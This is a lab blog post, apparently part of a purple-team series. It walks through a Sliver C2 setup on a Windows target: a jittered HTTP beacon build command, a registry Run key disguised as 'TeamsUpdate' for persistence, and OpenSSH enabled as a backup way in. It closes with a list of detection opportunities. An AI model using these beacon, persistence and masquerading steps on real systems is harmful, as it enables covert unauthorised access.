← Blog

#3 Beacons, Persistence, and a Second Way In

#c2#sliver#persistence#windows

With the first live session behind me, one thing nagged. Everything I had built died the moment the target rebooted. The session was loud, fragile, and temporary. Phase 2 was about fixing the last of those, turning a foothold that vanishes on reboot into one that quietly comes back on its own.

There were three things to get done. Move from a session to a beacon, make the implant survive a reboot, and build a second independent way onto the box in case the first one breaks.

From session to beacon

A session is a live connection. It feels like a shell because it practically is one, and in Phase 1 that immediacy was exactly what I wanted. The downside is noise and fragility. It talks constantly, and it dies easily.

A beacon trades that immediacy for patience. It sleeps, wakes on a timer, checks in, runs whatever is queued, and goes back to sleep. Quieter on the wire, and far more tolerant of the target going away for a while. The build is almost identical to a session, with an interval and a jitter added.

generate beacon --http 10.10.10.10 --os windows --arch amd64 --format exe --seconds 60 --jitter 30 --save /tmp/

The interval is the base sleep, sixty seconds here. The jitter randomises each check-in by up to thirty seconds, so the callbacks do not land on a clean metronome. That randomness is not cosmetic, and I will come back to why.

A typo and a dead beacon

My first beacon was a lesson in reading your own commands. I built it, delivered it, ran it, and watched the target do nothing. The process was alive on Windows but never appeared on the operator.

The cause was a single extra digit. I had typed the callback address as 10.10.10.100 instead of 10.10.10.10. The beacon was running perfectly and calling home to a host that does not exist. The callback address is compiled into the implant at build time, so there is no fixing it after the fact. I regenerated with the correct address and it checked in on the next interval.

The lesson is to verify the C2 address before building, because a one-character slip costs a full rebuild and a confusing silent beacon.

Queued tasking, and a timestamp from 1970

Driving a beacon feels different from a session, and the difference is the point. When I ran whoami it did not answer immediately. It queued the task, returned a task ID, and the result arrived about seventy seconds later on the next check-in. When I ran info, it answered at once. That caught me out until it clicked. The info command is a server-side lookup of data the C2 already cached when the beacon registered, so it never touches the target, while whoami actually tasks the implant.

One more small puzzle. A pending task showed a completion time of 1 January 1970. That is not a bug, it is an unset timestamp. Zero on the Unix clock is 1970, so the field was saying “not done yet”. It filled in with a real time once the task completed.

Making it survive a reboot with a Run key

The real goal was for the beacon to return on its own after a reboot without me touching the target. The simplest option at my current user level is a registry Run key, an autostart entry that fires at logon.

New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "TeamsUpdate" -Value "C:\Lab\SHAGGY_RESORT.exe" -PropertyType String -Force

The value name matters as much as the mechanism. TeamsUpdate reads like something that belongs on the machine, where the implant’s real codename would stand out to anyone scanning the autostart list. A small choice, but exactly the kind of detail a defender looks for.

Two things taught me something here. First, I tested it wrong initially by locking the screen with Win+L and expecting the beacon to restart. A lock is not a logon. The session never ended and the Run key never fired. A proper sign-out and sign-in did the job, and a fresh beacon appeared with nobody touching the machine.

Second, because the Run key launches the executable directly, a console window flashes briefly at logon. Harmless in a lab, but a visible tell, and another item for the detection list.

Worth noting, every relaunch of the implant registers as a new beacon with a new ID. The old one goes stale. A beacon identifies a running process, not a file on disk.

A second way in with OpenSSH

Persistence covers the case where the box reboots. It does not cover the case where the beacon itself dies or the C2 goes down. For that I wanted a second, independent path, so I enabled the OpenSSH server that ships with Windows and set it to start automatically.

The install went fine. The first connection from the operator did not. It hung. No error, no refusal, nothing. A hang rather than a flat refusal is a useful clue. The packets were being silently dropped, which usually means a firewall. The feature had created an allow rule for SSH, but scoped only to the Private network profile, while my isolated lab adapter was classified as Public. The rule simply did not apply.

Rather than opening SSH on every profile, which would also expose it on the maintenance NAT interface, I scoped the rule to any profile but restricted it to the lab subnet.

Set-NetFirewallRule -Name OpenSSH-Server-In-TCP -Profile Any -RemoteAddress 10.10.10.0/24

That keeps SSH reachable only from inside the lab, independent of how Windows labels the network, and off the internet-facing side entirely. The connection came up cleanly after that.

The reboot test

The honest test of all this is a full power cycle, not just a logon. So I rebooted the target and watched.

SSH answered before I had even logged in, because it runs as a system service and starts at boot. Then I signed in, and about forty seconds later a fresh beacon checked in on the operator, launched by the Run key with nobody touching the machine. Two durable paths in, both surviving a reboot.

The purple team angle

As in Phase 1, I kept a list of everything this leaves behind, because catching it is the point of the project.

  • A jittered but regular check-in to a single IP, with none of the context a real browser connection carries. Jitter defeats the laziest “exactly every sixty seconds” detection rule, but the lone destination and missing HTTP context remain.
  • A new Run key entry, which a tool like Autoruns lists plainly and which Sysmon records the moment it is written.
  • The console window flashing at each logon.
  • A new service set to automatic, a new listener on port 22, and SSH authentication events in the Windows logs.

Every one of those is a detection opportunity I will write in Phase 6.

What is next

The foothold now survives reboots and has a backup route in, but everything so far lives at my own user level. Phase 3 goes further, into privilege escalation and credential access, the step from being on the box to owning it.